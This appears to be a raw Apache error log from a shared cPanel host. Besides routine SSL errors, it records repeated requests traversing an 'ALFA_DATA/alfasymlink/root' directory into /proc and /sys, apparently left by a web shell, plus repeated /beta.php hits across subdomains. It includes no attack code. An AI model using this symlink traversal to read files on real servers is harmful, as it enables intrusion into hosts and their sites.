[Tue Oct 27 02:03:47.360086 2026] [core:error] [pid 3174428:tid 3174428] (13)Permission denied: [client 98.83.10.183:19970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:01.3/i2c-0/delete_device
[Tue Oct 27 02:03:52.007918 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 85.208.96.195:16880] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:04:03.251340 2026] [ssl:error] [pid 3171484:tid 3171484] (5)Input/output error: [client 35.169.119.108:19949] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:04:12.804614 2026] [core:error] [pid 3169065:tid 3169065] (13)Permission denied: [client 85.208.96.203:40766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/remote_node_defrag_ratio
[Tue Oct 27 02:04:15.492490 2026] [ssl:error] [pid 3170301:tid 3170301] (70014)End of file found: [client 34.227.156.153:48079] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:04:19.147436 2026] [ssl:error] [pid 3171484:tid 3171484] (70014)End of file found: [client 3.224.215.150:7414] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:04:21.177263 2026] [core:error] [pid 3174428:tid 3174428] (13)Permission denied: [client 185.191.171.15:57296] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/objects
[Tue Oct 27 02:04:28.340085 2026] [core:error] [pid 3167556:tid 3167556] (13)Permission denied: [client 185.191.171.11:44164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/objs_per_slab
[Tue Oct 27 02:04:31.382731 2026] [ssl:error] [pid 3174284:tid 3174284] (70014)End of file found: [client 52.204.37.237:53884] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:04:39.326716 2026] [core:error] [pid 3168752:tid 3168752] (13)Permission denied: [client 34.231.45.47:19236] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/subsystem/input1/device/firmware_node/physical_node1/driver/bind
[Tue Oct 27 02:04:51.407391 2026] [ssl:error] [pid 3171484:tid 3171484] (70014)End of file found: [client 54.210.152.179:1793] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:04:55.249331 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 34.238.45.183:28409] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:04:59.225733 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 52.45.92.83:12865] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:05:03.578679 2026] [ssl:error] [pid 3174284:tid 3174284] (70014)End of file found: [client 52.6.5.24:63909] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:05:07.314116 2026] [core:error] [pid 3174427:tid 3174427] (13)Permission denied: [client 23.21.179.120:33505] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/tpm_tis/uevent
[Tue Oct 27 02:05:10.090342 2026] [core:crit] [pid 3168752:tid 3168752] (13)Permission denied: [client 137.184.85.24:39700] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 02:05:35.336419 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 52.4.76.156:61869] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:05:43.338728 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 23.23.99.55:53164] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:05:54.585901 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 44.217.177.142:38246] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:06:10.836188 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 100.24.167.60:17761] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:06:14.686460 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 34.231.118.144:23414] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:06:17.137985 2026] [core:error] [pid 3174850:tid 3174850] (13)Permission denied: [client 85.208.96.194:46684] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/sanity_checks
[Tue Oct 27 02:06:18.769591 2026] [ssl:error] [pid 3174304:tid 3174304] (70014)End of file found: [client 54.152.163.42:43323] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:06:27.414218 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 23.21.179.27:56446] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:06:50.918205 2026] [ssl:error] [pid 3174304:tid 3174304] (70014)End of file found: [client 3.232.102.111:28440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:06:55.131280 2026] [ssl:error] [pid 3165579:tid 3165579] (5)Input/output error: [client 54.197.114.76:63973] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:07:04.944724 2026] [ssl:error] [pid 3174427:tid 3174427] (70014)End of file found: [client 35.171.117.160:36237] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:07:08.286781 2026] [core:error] [pid 3174428:tid 3174428] (13)Permission denied: [client 3.221.222.168:19742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/module/drm/sections/__bug_table
[Tue Oct 27 02:07:15.144215 2026] [ssl:error] [pid 3174427:tid 3174427] (70014)End of file found: [client 98.82.59.253:38455] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:07:27.345990 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 35.172.125.172:60252] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:07:32.434260 2026] [ssl:error] [pid 3174304:tid 3174304] (70014)End of file found: [client 34.192.125.239:13594] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:07:35.532142 2026] [ssl:error] [pid 3175077:tid 3175077] (70014)End of file found: [client 85.208.96.195:60690] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:07:38.452259 2026] [core:error] [pid 3174850:tid 3174850] (13)Permission denied: [client 185.191.171.9:41446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/min_partial
[Tue Oct 27 02:07:40.388170 2026] [ssl:error] [pid 3174427:tid 3174427] (70014)End of file found: [client 18.214.124.6:33828] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:07:43.486580 2026] [ssl:error] [pid 3174284:tid 3174284] (5)Input/output error: [client 54.92.171.106:61739] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:08:03.553533 2026] [ssl:error] [pid 3174284:tid 3174284] (70014)End of file found: [client 54.235.125.129:50799] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:08:13.680703 2026] [core:error] [pid 3165579:tid 3165579] (13)Permission denied: [client 185.191.171.6:44068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/min_partial
[Tue Oct 27 02:08:27.416399 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 184.72.84.154:54620] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:08:37.176050 2026] [security2:error] [pid 3169073:tid 3169073] [client 107.172.76.131:58600] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA_1POzJ5PbuFxXSzJLMgAAABM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 02:08:37.195195 2026] [security2:error] [pid 3169073:tid 3169073] [client 107.172.76.131:58600] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA_1POzJ5PbuFxXSzJLMgAAABM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 02:08:47.618679 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 107.20.255.194:27870] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:08:51.684313 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 34.194.165.45:2545] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:08:55.533349 2026] [ssl:error] [pid 3175077:tid 3175077] (70014)End of file found: [client 54.145.82.217:11289] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:08:59.549901 2026] [ssl:error] [pid 3168752:tid 3168752] (5)Input/output error: [client 18.206.47.187:51074] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:09:03.184549 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 100.29.160.53:49066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:09:07.369587 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 3.227.180.70:36878] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:09:11.078657 2026] [ssl:error] [pid 3175077:tid 3175077] (70014)End of file found: [client 3.221.50.71:29626] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:09:15.139211 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 44.209.187.99:2740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/resource4_wc
[Tue Oct 27 02:09:23.448645 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 98.83.177.42:17499] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:09:24.966525 2026] [core:error] [pid 3165579:tid 3165579] (13)Permission denied: [client 85.208.96.196:27124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/trace
[Tue Oct 27 02:09:27.733969 2026] [core:error] [pid 3168752:tid 3168752] (13)Permission denied: [client 44.212.131.50:35426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:18/eject
[Tue Oct 27 02:09:39.466787 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 3.89.170.186:56935] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:09:43.539811 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 44.214.19.8:43350] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:09:47.709237 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 3.227.180.70:41496] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:09:51.374179 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 107.20.181.148:65135] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:09:55.242469 2026] [ssl:error] [pid 3168752:tid 3168752] (5)Input/output error: [client 3.222.85.38:12719] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:09:59.280912 2026] [ssl:error] [pid 3174850:tid 3174850] (70014)End of file found: [client 54.243.63.52:64108] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:10:03.221751 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 54.204.62.163:19572] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:10:07.045360 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 54.152.163.42:31416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:10:10.944168 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 54.83.180.239:40699] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:10:26.942329 2026] [ssl:error] [pid 3174284:tid 3174284] (70014)End of file found: [client 34.239.197.197:20146] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:10:30.976555 2026] [core:error] [pid 3174304:tid 3174304] (13)Permission denied: [client 54.83.56.1:47965] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS2/line
[Tue Oct 27 02:10:35.612943 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 52.22.87.224:29152] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:10:43.477597 2026] [ssl:error] [pid 3174304:tid 3174304] (70014)End of file found: [client 3.224.215.150:30846] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:10:47.563159 2026] [security2:error] [pid 3164823:tid 3164823] [client 107.172.76.131:58605] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auBAWzoDckKnHHUz0sTMVQAAAA0"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 02:10:47.587560 2026] [security2:error] [pid 3164823:tid 3164823] [client 107.172.76.131:58605] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auBAWzoDckKnHHUz0sTMVQAAAA0"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 02:10:50.934023 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.87.95.7:21456] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:10:58.895628 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 3.229.95.193:5865] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:11:04.329699 2026] [cgi:error] [pid 3174428:tid 3174428] [client 147.185.132.225:58322] AH01215: stderr from /usr/local/cpanel/cgi-sys/defaultwebpage.cgi: 403 (Forbidden): 403 Forbidden
[Tue Oct 27 02:11:04.329831 2026] [cgi:error] [pid 3174428:tid 3174428] [client 147.185.132.225:58322] AH01215: stderr from /usr/local/cpanel/cgi-sys/defaultwebpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Tue Oct 27 02:11:15.470859 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.89.176.255:16361] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:11:19.351100 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 23.21.119.232:39174] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/rescan
[Tue Oct 27 02:11:27.336297 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 44.221.227.90:46385] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:11:30.983879 2026] [core:error] [pid 3174286:tid 3174286] (13)Permission denied: [client 54.204.12.115:20071] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:05.0/driver/unbind
[Tue Oct 27 02:11:35.312967 2026] [core:error] [pid 3174428:tid 3174428] (13)Permission denied: [client 18.232.12.157:41189] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/cpu0/driver/bind
[Tue Oct 27 02:11:39.323780 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 44.213.202.136:55553] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:11:44.186938 2026] [proxy_fcgi:error] [pid 3174428:tid 3174428] [client 35.187.126.195:50204] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 02:11:44.303379 2026] [proxy_fcgi:error] [pid 3174426:tid 3174426] [client 35.187.126.195:62745] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 02:11:51.147465 2026] [core:error] [pid 3175289:tid 3175289] (13)Permission denied: [client 52.202.233.37:44658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/drm/card0/device/driver/remove_id
[Tue Oct 27 02:12:03.173823 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 54.147.182.90:36764] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:12:07.106512 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 52.70.209.13:55559] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:12:10.663569 2026] [core:error] [pid 3165579:tid 3165579] (13)Permission denied: [client 85.208.96.206:23408] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/store_user
[Tue Oct 27 02:12:11.168297 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 100.29.155.89:12531] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:12:15.491414 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 54.166.104.83:2121] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:12:22.904035 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 3.229.164.203:47736] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:12:43.025330 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 18.213.240.226:38368] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:12:50.974806 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 18.207.89.138:10709] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:12:57.832318 2026] [proxy_fcgi:error] [pid 3171491:tid 3171491] [client 107.172.76.131:58608] AH01067: Failed to read FastCGI header, referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 02:12:57.832365 2026] [proxy_fcgi:error] [pid 3171491:tid 3171491] (104)Connection reset by peer: [client 107.172.76.131:58608] AH01075: Error dispatching request to : , referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 02:12:57.833246 2026] [proxy_fcgi:error] [pid 3167840:tid 3167840] [client 107.172.76.131:58607] AH01067: Failed to read FastCGI header, referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 02:12:57.839043 2026] [proxy_fcgi:error] [pid 3167840:tid 3167840] (104)Connection reset by peer: [client 107.172.76.131:58607] AH01075: Error dispatching request to : , referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 02:12:57.833013 2026] [proxy_fcgi:error] [pid 3167526:tid 3167526] [client 107.172.76.131:58611] AH01067: Failed to read FastCGI header, referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 02:12:57.846496 2026] [proxy_fcgi:error] [pid 3167526:tid 3167526] (104)Connection reset by peer: [client 107.172.76.131:58611] AH01075: Error dispatching request to : , referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 02:12:57.846902 2026] [proxy_fcgi:error] [pid 3169915:tid 3169915] [client 107.172.76.131:58602] AH01067: Failed to read FastCGI header, referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 02:12:57.847003 2026] [proxy_fcgi:error] [pid 3169915:tid 3169915] (104)Connection reset by peer: [client 107.172.76.131:58602] AH01075: Error dispatching request to : , referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 02:12:57.847445 2026] [security2:error] [pid 3169915:tid 3169915] [client 107.172.76.131:58602] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auBA32MfptYfS3IdlHNW5gAAAAc"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 02:12:57.847473 2026] [security2:error] [pid 3169915:tid 3169915] [client 107.172.76.131:58602] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auBA32MfptYfS3IdlHNW5gAAAAc"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 02:12:58.054586 2026] [proxy:error] [pid 3164823:tid 3164823] (2)No such file or directory: AH02454: FCGI: attempt to connect to Unix domain socket /opt/cpanel/ea-php81/root/usr/var/run/php-fpm/bcf227d947ec02f9832280a2d899eaa0a09a47e4.sock (hoteles1.sherwinpinturas.com:8000) failed
[Tue Oct 27 02:12:58.085274 2026] [proxy_fcgi:error] [pid 3164823:tid 3164823] [client 107.172.76.131:58605] AH01079: failed to make connection to backend: hoteles1.sherwinpinturas.com, referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 02:12:58.151956 2026] [proxy:error] [pid 3169073:tid 3169073] (2)No such file or directory: AH02454: FCGI: attempt to connect to Unix domain socket /opt/cpanel/ea-php81/root/usr/var/run/php-fpm/8023e845cdbab6ee1af338f9724ce03d221ad42a.sock (clic1.sherwinpinturas.com:8000) failed
[Tue Oct 27 02:12:58.152004 2026] [proxy_fcgi:error] [pid 3169073:tid 3169073] [client 107.172.76.131:58600] AH01079: failed to make connection to backend: clic1.sherwinpinturas.com, referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 02:12:59.117686 2026] [ssl:error] [pid 3174850:tid 3174850] (70014)End of file found: [client 23.23.213.182:41368] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:13:03.527662 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 3.213.106.226:56058] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:13:23.090505 2026] [ssl:error] [pid 3167526:tid 3167526] (70014)End of file found: [client 3.213.106.226:35962] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:13:36.003998 2026] [authz_core:error] [pid 3174850:tid 3174850] [client 20.98.162.154:45034] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:13:55.791952 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 23.21.175.228:49788] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:13:59.655675 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.2.4.213:59519] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:14:05.139603 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 52.6.232.201:12200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/uevent
[Tue Oct 27 02:14:07.834418 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 23.21.119.232:32128] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:14:19.762067 2026] [ssl:error] [pid 3171491:tid 3171491] (70014)End of file found: [client 3.232.39.98:5636] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:14:24.537231 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 18.206.47.187:46601] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:14:31.854643 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 54.88.84.219:57235] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/ACPI0010:00/subsystem/drivers/button/bind
[Tue Oct 27 02:14:44.114626 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.94.157.25:32807] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:14:47.841381 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 34.225.243.131:17643] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:14:52.034791 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.21.62.139:12109] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:15:03.852090 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 54.84.250.51:51418] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:15:11.879762 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 44.193.102.198:64478] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:15:15.835051 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 23.23.212.212:28062] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:15:23.642276 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 3.220.70.171:65144] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:15:27.787482 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 44.210.213.220:8103] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:15:31.778945 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 44.216.172.204:51705] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:15:47.504934 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 54.92.171.106:20518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:04/physical_node/remove
[Tue Oct 27 02:15:55.068976 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 85.208.96.208:33226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/sanity_checks
[Tue Oct 27 02:15:59.585593 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.221.222.168:22907] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:16:03.468174 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.225.81.20:65321] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:16:11.715839 2026] [core:error] [pid 3167556:tid 3167556] (13)Permission denied: [client 18.211.148.239:32491] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory12/node0/memory7/subsystem/drivers_probe
[Tue Oct 27 02:16:15.623367 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 44.195.145.102:58071] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:16:35.411780 2026] [core:error] [pid 3165579:tid 3165579] (13)Permission denied: [client 44.215.231.15:5452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/ec/unbind
[Tue Oct 27 02:16:47.217700 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.243.63.52:49229] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:16:55.348170 2026] [core:error] [pid 3174286:tid 3174286] (13)Permission denied: [client 34.194.233.48:30176] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory23/node0/memory5/subsystem/uevent
[Tue Oct 27 02:16:59.240000 2026] [ssl:error] [pid 3175289:tid 3175289] (5)Input/output error: [client 34.227.234.246:61195] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:17:03.433185 2026] [ssl:error] [pid 3174428:tid 3174428] (70014)End of file found: [client 98.82.66.172:19360] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:17:07.175363 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 23.21.119.232:62904] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:17:11.135197 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 54.210.152.179:44251] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:17:23.272848 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 50.16.248.61:45887] AH02013: coalesce failed to read from data bucket
